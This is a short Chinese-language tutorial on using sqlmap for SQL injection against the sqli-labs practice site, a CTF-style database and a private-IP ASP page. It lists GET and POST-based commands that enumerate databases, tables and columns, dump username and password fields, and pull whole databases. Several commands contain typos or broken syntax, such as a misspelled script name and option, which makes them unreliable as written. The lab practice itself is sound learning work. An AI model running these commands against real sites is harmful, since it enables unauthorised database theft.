sqlmap是一款爆破mysql数据的神器。这里我用sqlmap来演示爆破sqli-labs-master的数据库。
GET型的sqlmap爆破。
1.枚举数据库:
Python sqlmay.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –dbs;
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –D security –tables(-D security 指定 爆 security数据库中的表)
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 –tables(可以把数据库中的所有表都爆出来)
3.列出users表中字段:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users --columns
4得到字段里面的内容:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 -D security -T users -C id,password,username –dump
Post型的sqlmap爆破:首先抓包保存为aa.txt,然后用sqlmap工具跑结果。Sqlmap语句:
1.首先抓包保存为aa.txt。
2.Python sqlmap.py -r aa.txt//可以得到什么数据库(DBMS:MYSQL)
4. Python sqlmap.py -r aa.txt --current-db//可以得到当前使用的数据库(数据库多时,查找当前使用数据库)。
3. Python sqlmap.py -r aa.txt –dbs//可以得到有那几个数据库,得到数据库后爆数据库中存在哪些表
4. Python sqlmap.py -r aa.txt -D skctf_flag(上一步得到的数据库名) --tables//可以得到skctf_flag数据库中存在哪几张表
5. Python sqlmap.py -r aa.txt -D skctf_flag(数据库名) -T fl4g(上一步得到的表名) –coulmns//爆到数据库skctf_flag中fl4g表有几列
6. Python sqlmap.py -r aa.txt -D skctf_flag(数据库名) -T fl4g(表名) -C skctf_flag(上一步得到的列名) --dump//可以得到列的内容。
7.托库,直接爆数据库的内容:Python sqlmap.py -r aa.txt -D skctf_flag–dump//直接爆数据库的内容。数据库大的话会有问题。
sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --thread 9 //服务器基本信息
sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --tables --thread 9 //获取表名 admin
sqlmap.py -u "http://192.168.116.130/shownews.asp?id=58"--columns -T "admin" --thread 9 //获取列名 username password
sqlmap.py -u"http://192.168.116.130/shownews.asp?id=58" --dump -T"admin" --thread 9 //获取字段内容 usernamepassword
sqlmap -u “URL” --current -db 查看当前数据库。
Sqlmap -u “URL” -D 数据库名 –tables 查看数据库中的表
Sqlmap -u “URL” -D 数据库名 –T 表名 –columns 查看数据库中的表中的列
Sqlmap -u “URL” -D 数据库名 –T 表名 –C 列名 --dump 查看列的内容。